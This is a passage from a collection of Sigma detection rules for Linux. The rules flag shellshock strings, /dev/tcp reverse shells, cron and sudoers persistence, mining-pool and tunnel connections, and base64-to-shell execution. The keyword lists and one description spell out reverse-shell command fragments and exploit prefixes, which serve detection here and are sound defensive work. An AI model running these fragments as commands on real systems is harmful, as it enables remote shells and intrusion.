"content": "title: Shellshock Expression\nid: c67e0c98-4d39-46ee-8f6b-437ebf6b950e\nstatus: test\ndescription: Detects shellshock expressions in log files\nreferences:\n - https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-03-14\nmodified: 2022-10-09\ntags:\n - attack.persistence\n - attack.t1505.003\nlogsource:\n product: linux\ndetection:\n keywords:\n - '(){:;};'\n - '() {:;};'\n - '() { :;};'\n - '() { :; };'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_susp_dev_tcp.yml",
"content": "title: Suspicious Use of /dev/tcp\nid: 6cc5fceb-9a71-4c23-aeeb-963abe0b279c\nstatus: test\ndescription: Detects suspicious command with /dev/tcp\nreferences:\n - https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/\n - https://book.hacktricks.xyz/shells/shells/linux\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan\nauthor: frack113\ndate: 2021-12-10\nmodified: 2023-01-06\ntags:\n - attack.reconnaissance\nlogsource:\n product: linux\ndetection:\n keywords:\n - 'cat /dev/tcp/'\n - 'echo >/dev/tcp/'\n - 'bash -i >& /dev/tcp/'\n - 'sh -i >& /dev/udp/'\n - '0<&196;exec 196<>/dev/tcp/'\n - 'exec 5<>/dev/tcp/'\n - '(sh)0>/dev/tcp/'\n - 'bash -c ''bash -i >& /dev/tcp/'\n - 'echo -e ''#!/bin/bash\\nbash -i >& /dev/tcp/'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/builtin/lnx_susp_jexboss.yml",
"content": "title: JexBoss Command Sequence\nid: 8ec2c8b4-557a-4121-b87c-5dfb3a602fae\nstatus: test\ndescription: Detects suspicious command sequence that JexBoss\nreferences:\n - https://www.us-cert.gov/ncas/analysis-reports/AR18-312A\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-08-24\nmodified: 2025-11-22\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n product: linux\ndetection:\n keywords:\n '|all':\n - 'bash -c /bin/bash'\n - '&/dev/tcp/'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/lnx_symlink_etc_passwd.yml",
"content": "title: Symlink Etc Passwd\nid: c67fc22a-0be5-4b4f-aad5-2b32c4b69523\nstatus: test\ndescription: Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd\nreferences:\n - https://www.qualys.com/2021/05/04/21nails/21nails.txt\nauthor: Florian Roth (Nextron Systems)\ndate: 2019-04-05\nmodified: 2021-11-27\ntags:\n - attack.t1204.001\n - attack.execution\nlogsource:\n product: linux\ndetection:\n keywords:\n - 'ln -s -f /etc/passwd'\n - 'ln -s /etc/passwd'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml",
"content": "title: Suspicious OpenSSH Daemon Error\nid: e76b413a-83d0-4b94-8e4c-85db4a5b8bdc\nstatus: test\ndescription: Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts\nreferences:\n - https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c\n - https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-06-30\nmodified: 2021-11-27\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n product: linux\n service: sshd\ndetection:\n keywords:\n - 'unexpected internal error'\n - 'unknown or unsupported key type'\n - 'invalid certificate signing key'\n - 'invalid elliptic curve value'\n - 'incorrect signature'\n - 'error in libcrypto'\n - 'unexpected bytes remain after decoding'\n - 'fatal: buffer_get_string: bad string'\n - 'Local: crc32 compensation attack'\n - 'bad client public DH value'\n - 'Corrupted MAC on input'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/builtin/syslog/lnx_syslog_security_tools_disabling_syslog.yml",
"content": "title: Disabling Security Tools - Builtin\nid: 49f5dfc1-f92e-4d34-96fa-feba3f6acf36\nrelated:\n - id: e3a8a052-111f-4606-9aee-f28ebeb76776\n type: derived\nstatus: test\ndescription: Detects disabling security tools\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md\nauthor: Ömer Günal, Alejandro Ortuno, oscd.community\ndate: 2020-06-17\nmodified: 2022-11-26\ntags:\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n product: linux\n service: syslog\ndetection:\n keywords:\n - 'stopping iptables'\n - 'stopping ip6tables'\n - 'stopping firewalld'\n - 'stopping cbdaemon'\n - 'stopping falcon-sensor'\n condition: keywords\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/builtin/syslog/lnx_syslog_susp_named.yml",
"content": "title: Suspicious Named Error\nid: c8e35e96-19ce-4f16-aeb6-fd5588dc5365\nstatus: test\ndescription: Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts\nreferences:\n - https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-02-20\nmodified: 2022-10-05\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n product: linux\n service: syslog\ndetection:\n keywords:\n - ' dropping source port zero packet from '\n - ' denied AXFR from '\n - ' exiting (due to fatal error)'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml",
"content": "title: Suspicious VSFTPD Error Messages\nid: 377f33a1-4b36-4ee1-acee-1dbe4b43cfbe\nstatus: test\ndescription: Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts\nreferences:\n - https://github.com/dagwieers/vsftpd/\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-07-05\nmodified: 2021-11-27\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n product: linux\n service: vsftpd\ndetection:\n keywords:\n - 'Connection refused: too many sessions for this address.'\n - 'Connection refused: tcp_wrappers denial.'\n - 'Bad HTTP verb.'\n - 'port and pasv both active'\n - 'pasv and port both active'\n - 'Transfer done (but failed to open directory).'\n - 'Could not set file modification time.'\n - 'bug: pid active in ptrace_sandbox_free'\n - 'PTRACE_SETOPTIONS failure'\n - 'weird status:'\n - 'couldn''t handle sandbox event'\n - 'syscall * out of bounds'\n - 'syscall not permitted:'\n - 'syscall validate failed:'\n - 'Input line too long.'\n - 'poor buffer accounting in str_netfd_alloc'\n - 'vsf_sysutil_read_loop'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_doas_conf_creation.yml",
"content": "title: Linux Doas Conf File Creation\nid: 00eee2a5-fdb0-4746-a21d-e43fbdea5681\nstatus: stable\ndescription: Detects the creation of doas.conf file in linux host platform.\nreferences:\n - https://research.splunk.com/endpoint/linux_doas_conf_file_creation/\n - https://www.makeuseof.com/how-to-install-and-use-doas/\nauthor: Sittikorn S, Teoderick Contreras\ndate: 2022-01-20\nmodified: 2022-12-31\ntags:\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1548\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n TargetFilename|endswith: '/etc/doas.conf'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: medium\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_persistence_cron_files.yml",
"content": "title: Persistence Via Cron Files\nid: 6c4e2f43-d94d-4ead-b64d-97e53fa2bd05\nstatus: test\ndescription: Detects creation of cron file or files in Cron directories which could indicates potential persistence.\nreferences:\n - https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-10-15\nmodified: 2022-12-31\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.t1053.003\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection1:\n TargetFilename|startswith:\n - '/etc/cron.d/'\n - '/etc/cron.daily/'\n - '/etc/cron.hourly/'\n - '/etc/cron.monthly/'\n - '/etc/cron.weekly/'\n - '/var/spool/cron/crontabs/'\n selection2:\n TargetFilename|contains:\n - '/etc/cron.allow'\n - '/etc/cron.deny'\n - '/etc/crontab'\n condition: 1 of selection*\nfalsepositives:\n - Any legitimate cron file.\nlevel: medium\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_persistence_sudoers_files.yml",
"content": "title: Persistence Via Sudoers Files\nid: ddb26b76-4447-4807-871f-1b035b2bfa5d\nstatus: test\ndescription: Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.\nreferences:\n - https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-07-05\nmodified: 2022-12-31\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.t1053.003\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n TargetFilename|startswith: '/etc/sudoers.d/'\n condition: selection\nfalsepositives:\n - Creation of legitimate files in sudoers.d folder part of administrator work\nlevel: medium\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_susp_filename_with_embedded_base64_command.yml",
"content": "title: Suspicious Filename with Embedded Base64 Commands\nid: 179b3686-6271-4d87-807d-17d843a8af73\nstatus: experimental\ndescription: |\n Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts.\n These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.\nreferences:\n - https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/\nauthor: '@kostastsale'\ndate: 2025-11-22\ntags:\n - attack.execution\n - attack.t1059.004\n - attack.defense-evasion\n - attack.t1027\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n TargetFilename|contains:\n - '{echo'\n - '{base64,-d}'\n condition: selection\nfalsepositives:\n - Legitimate files with similar naming patterns (very unlikely).\nlevel: high\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_susp_shell_script_under_profile_directory.yml",
"content": "title: Potentially Suspicious Shell Script Creation in Profile Folder\nid: 13f08f54-e705-4498-91fd-cce9d9cee9f1\nstatus: test\ndescription: Detects the creation of shell scripts under the \"profile.d\" path.\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.persistence\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n TargetFilename|contains: '/etc/profile.d/'\n TargetFilename|endswith:\n - '.csh'\n - '.sh'\n condition: selection\nfalsepositives:\n - Legitimate shell scripts in the \"profile.d\" directory could be common in your environment. Apply additional filter accordingly via \"image\", by adding specific filenames you \"trust\" or by correlating it with other events.\n - Regular file creation during system update or software installation by the package manager\nlevel: low # Can be increased to a higher level after some tuning\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_triple_cross_rootkit_lock_file.yml",
"content": "title: Triple Cross eBPF Rootkit Default LockFile\nid: c0239255-822c-4630-b7f1-35362bcb8f44\nstatus: test\ndescription: Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.\nreferences:\n - https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-07-05\nmodified: 2022-12-31\ntags:\n - attack.defense-evasion\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n TargetFilename: '/tmp/rootlog'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_triple_cross_rootkit_persistence.yml",
"content": "title: Triple Cross eBPF Rootkit Default Persistence\nid: 1a2ea919-d11d-4d1e-8535-06cda13be20f\nstatus: test\ndescription: Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method\nreferences:\n - https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-07-05\nmodified: 2022-12-31\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.defense-evasion\n - attack.t1053.003\n\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n TargetFilename|endswith: 'ebpfbackdoor'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/file_event/file_event_lnx_wget_download_file_in_tmp_dir.yml",
"content": "title: Wget Creating Files in Tmp Directory\nid: 35a05c60-9012-49b6-a11f-6bab741c9f74\nstatus: test\ndescription: Detects the use of wget to download content in a temporary directory such as \"/tmp\" or \"/var/tmp\"\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.command-and-control\n - attack.t1105\nlogsource:\n product: linux\n category: file_event\ndetection:\n selection:\n Image|endswith: '/wget'\n TargetFilename|startswith:\n - '/tmp/'\n - '/var/tmp/'\n condition: selection\nfalsepositives:\n - Legitimate downloads of files in the tmp folder.\nlevel: medium\n"
},
{
"path": "rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml",
"content": "title: Linux Reverse Shell Indicator\nid: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871\nstatus: test\ndescription: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')\nreferences:\n - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-10-16\nmodified: 2022-12-25\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n product: linux\n category: network_connection\ndetection:\n selection:\n Image|endswith: '/bin/bash'\n filter:\n DestinationIp:\n - '127.0.0.1'\n - '0.0.0.0'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml",
"content": "title: Linux Crypto Mining Pool Connections\nid: a46c93b7-55ed-4d27-a41b-c259456c4746\nstatus: stable\ndescription: Detects process connections to a Monero crypto mining pool\nreferences:\n - https://www.poolwatch.io/coin/monero\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-10-26\ntags:\n - attack.impact\n - attack.t1496\nlogsource:\n product: linux\n category: network_connection\ndetection:\n selection:\n DestinationHostname:\n - 'pool.minexmr.com'\n - 'fr.minexmr.com'\n - 'de.minexmr.com'\n - 'sg.minexmr.com'\n - 'ca.minexmr.com'\n - 'us-west.minexmr.com'\n - 'pool.supportxmr.com'\n - 'mine.c3pool.com'\n - 'xmr-eu1.nanopool.org'\n - 'xmr-eu2.nanopool.org'\n - 'xmr-us-east1.nanopool.org'\n - 'xmr-us-west1.nanopool.org'\n - 'xmr-asia1.nanopool.org'\n - 'xmr-jp1.nanopool.org'\n - 'xmr-au1.nanopool.org'\n - 'xmr.2miners.com'\n - 'xmr.hashcity.org'\n - 'xmr.f2pool.com'\n - 'xmrpool.eu'\n - 'pool.hashvault.pro'\n - 'moneroocean.stream'\n - 'monerocean.stream'\n condition: selection\nfalsepositives:\n - Legitimate use of crypto miners\nlevel: high\n"
},
{
"path": "rules/linux/network_connection/net_connection_lnx_domain_localtonet_tunnel.yml",
"content": "title: Communication To LocaltoNet Tunneling Service Initiated - Linux\nid: c4568f5d-131f-4e78-83d4-45b2da0ec4f1\nstatus: test\ndescription: |\n Detects an executable initiating a network connection to \"LocaltoNet\" tunneling sub-domains.\n LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet.\n Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.\nreferences:\n - https://localtonet.com/documents/supported-tunnels\n - https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications\nauthor: Andreas Braathen (mnemonic.io)\ndate: 2024-06-17\ntags:\n - attack.command-and-control\n - attack.t1572\n - attack.t1090\n - attack.t1102\nlogsource:\n category: network_connection\n product: linux\ndetection:\n selection:\n DestinationHostname|endswith:\n - '.localto.net'\n - '.localtonet.com'\n Initiated: 'true'\n condition: selection\nfalsepositives:\n - Legitimate use of the LocaltoNet service.\nlevel: high\n"
},
{
"path": "rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml",
"content": "title: Communication To Ngrok Tunneling Service - Linux\nid: 19bf6fdb-7721-4f3d-867f-53467f6a5db6\nstatus: test\ndescription: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors\nreferences:\n - https://twitter.com/hakluke/status/1587733971814977537/photo/1\n - https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-11-03\ntags:\n - attack.exfiltration\n - attack.command-and-control\n - attack.t1567\n - attack.t1568.002\n - attack.t1572\n - attack.t1090\n - attack.t1102\n - attack.s0508\nlogsource:\n product: linux\n category: network_connection\ndetection:\n selection:\n DestinationHostname|contains:\n - 'tunnel.us.ngrok.com'\n - 'tunnel.eu.ngrok.com'\n - 'tunnel.ap.ngrok.com'\n - 'tunnel.au.ngrok.com'\n - 'tunnel.sa.ngrok.com'\n - 'tunnel.jp.ngrok.com'\n - 'tunnel.in.ngrok.com'\n condition: selection\nfalsepositives:\n - Legitimate use of ngrok\nlevel: high\n"
},
{
"path": "rules/linux/network_connection/net_connection_lnx_susp_malware_callback_port.yml",
"content": "title: Potentially Suspicious Malware Callback Communication - Linux\nid: dbfc7c98-04ab-4ab7-aa94-c74d22aa7376\nrelated:\n - id: 4b89abaa-99fe-4232-afdd-8f9aa4d20382\n type: derived\nstatus: test\ndescription: |\n Detects programs that connect to known malware callback ports based on threat intelligence reports.\nreferences:\n - https://www.mandiant.com/resources/blog/triton-actor-ttp-profile-custom-attack-tools-detections\n - https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team\n - https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html\n - https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html\n - https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors\nauthor: hasselj\ndate: 2024-05-10\ntags:\n - attack.persistence\n - attack.command-and-control\n - attack.t1571\nlogsource:\n category: network_connection\n product: linux\ndetection:\n selection:\n Initiated: 'true'\n DestinationPort:\n - 888\n - 999\n - 2200\n - 2222\n - 4000\n - 4444\n - 6789\n - 8531\n - 50501\n - 51820\n filter_main_local_ranges:\n DestinationIp|cidr:\n - '127.0.0.0/8'\n - '10.0.0.0/8'\n - '172.16.0.0/12'\n - '192.168.0.0/16'\n - '169.254.0.0/16'\n - '::1/128' # IPv6 loopback\n - 'fe80::/10' # IPv6 link-local addresses\n - 'fc00::/7' # IPv6 private addresses\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_apt_shell_execution.yml",
"content": "title: Shell Invocation via Apt - Linux\nid: bb382fd5-b454-47ea-a264-1828e4c766d6\nstatus: test\ndescription: |\n Detects the use of the \"apt\" and \"apt-get\" commands to execute a shell or proxy commands.\n Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/apt/\n - https://gtfobins.github.io/gtfobins/apt-get/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-12-28\nmodified: 2024-09-02\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n - '/apt'\n - '/apt-get'\n CommandLine|contains: 'APT::Update::Pre-Invoke::='\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_at_command.yml",
"content": "title: Scheduled Task/Job At\nid: d2d642d7-b393-43fe-bae4-e81ed5915c4b\nstatus: stable\ndescription: |\n Detects the use of at/atd which are utilities that are used to schedule tasks.\n They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md\nauthor: Ömer Günal, oscd.community\ndate: 2020-10-06\nmodified: 2022-07-07\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.t1053.002\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n - '/at'\n - '/atd'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_auditctl_clear_rules.yml",
"content": "title: Audit Rules Deleted Via Auditctl\nid: bed26dea-4525-47f4-b24a-76e30e44ffb0\nstatus: experimental\ndescription: |\n Detects the execution of 'auditctl' with the '-D' command line parameter, which deletes all configured audit rules and watches on Linux systems.\n This technique is commonly used by attackers to disable audit logging and cover their tracks by removing monitoring capabilities.\n Removal of audit rules can significantly impair detection of malicious activities on the affected system.\nreferences:\n - https://www.atomicredteam.io/atomic-red-team/atomics/T1562.012\n - https://linux.die.net/man/8/auditct\nauthor: Mohamed LAKRI\ndate: 2025-10-17\ntags:\n - attack.defense-evasion\n - attack.t1562.012\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/auditctl'\n CommandLine|re: '-D'\n condition: selection\nfalsepositives:\n - An administrator troubleshooting. Investigate all attempts.\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_av_kaspersky_av_disabled.yml",
"content": "title: Kaspersky Endpoint Security Stopped Via CommandLine - Linux\nid: 36388120-b3f1-4ce9-b50b-280d9a7f4c04\nstatus: experimental\ndescription: |\n Detects execution of the Kaspersky init.d stop script on Linux systems either directly or via systemctl.\n This activity may indicate a manual interruption of the antivirus service by an administrator, or it could be a sign of potential tampering or evasion attempts by malicious actors.\nreferences:\n - https://support.kaspersky.com/KES4Linux/12.0.0/en-US/197929.htm\nauthor: Milad Cheraghi\ndate: 2025-10-18\ntags:\n - attack.execution\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n # Note: Add the list of shells allowed in your environment that can be used to run init.d scripts.\n - '/systemctl'\n - '/bash'\n - '/sh'\n CommandLine|contains|all:\n - 'stop'\n - 'kesl'\n condition: selection\nfalsepositives:\n - System administrator manually stopping Kaspersky services\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_awk_shell_spawn.yml",
"content": "title: Suspicious Invocation of Shell via AWK - Linux\nid: 8c1a5675-cb85-452f-a298-b01b22a51856\nstatus: test\ndescription: |\n Detects the execution of \"awk\" or it's sibling commands, to invoke a shell using the system() function.\n This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.\nreferences:\n - https://gtfobins.github.io/gtfobins/awk/#shell\n - https://gtfobins.github.io/gtfobins/gawk/#shell\n - https://gtfobins.github.io/gtfobins/nawk/#shell\n - https://gtfobins.github.io/gtfobins/mawk/#shell\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith:\n - '/awk'\n - '/gawk'\n - '/mawk'\n - '/nawk'\n CommandLine|contains: 'BEGIN {system'\n selection_cli:\n CommandLine|contains:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_base64_decode.yml",
"content": "title: Decode Base64 Encoded Text\nid: e2072cab-8c9a-459b-b63c-40ae79e27031\nstatus: test\ndescription: Detects usage of base64 utility to decode arbitrary base64-encoded text\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.t1027\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/base64'\n CommandLine|contains: '-d' # Also covers \"--decode\"\n condition: selection\nfalsepositives:\n - Legitimate activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_base64_execution.yml",
"content": "title: Linux Base64 Encoded Pipe to Shell\nid: ba592c6d-6888-43c3-b8c6-689b8fe47337\nstatus: test\ndescription: Detects suspicious process command line that uses base64 encoded input for execution with a shell\nreferences:\n - https://github.com/arget13/DDexec\n - https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally\nauthor: pH-T (Nextron Systems)\ndate: 2022-07-26\nmodified: 2023-06-16\ntags:\n - attack.defense-evasion\n - attack.t1140\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_base64:\n CommandLine|contains: 'base64 '\n selection_exec:\n - CommandLine|contains:\n - '| bash '\n - '| sh '\n - '|bash '\n - '|sh '\n - CommandLine|endswith:\n - ' |sh'\n - '| bash'\n - '| sh'\n - '|bash'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml",
"content": "title: Linux Base64 Encoded Shebang In CLI\nid: fe2f9663-41cb-47e2-b954-8a228f3b9dff\nstatus: test\ndescription: Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded\nreferences:\n - https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html\n - https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-09-15\ntags:\n - attack.defense-evasion\n - attack.t1140\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n CommandLine|contains:\n - \"IyEvYmluL2Jhc2\" # Note: #!/bin/bash\"\n - \"IyEvYmluL2Rhc2\" # Note: #!/bin/dash\"\n - \"IyEvYmluL3pza\" # Note: #!/bin/zsh\"\n - \"IyEvYmluL2Zpc2\" # Note: #!/bin/fish\n - \"IyEvYmluL3No\" # Note: # !/bin/sh\"\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml",
"content": "title: Bash Interactive Shell\nid: 6104e693-a7d6-4891-86cb-49a258523559\nstatus: test\ndescription: Detects execution of the bash shell with the interactive flag \"-i\".\nreferences:\n - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n - https://www.revshells.com/\n - https://linux.die.net/man/1/bash\nauthor: '@d4ns4n_'\ndate: 2023-04-07\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/bash'\n CommandLine|contains: ' -i '\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_bpf_kprob_tracing_enabled.yml",
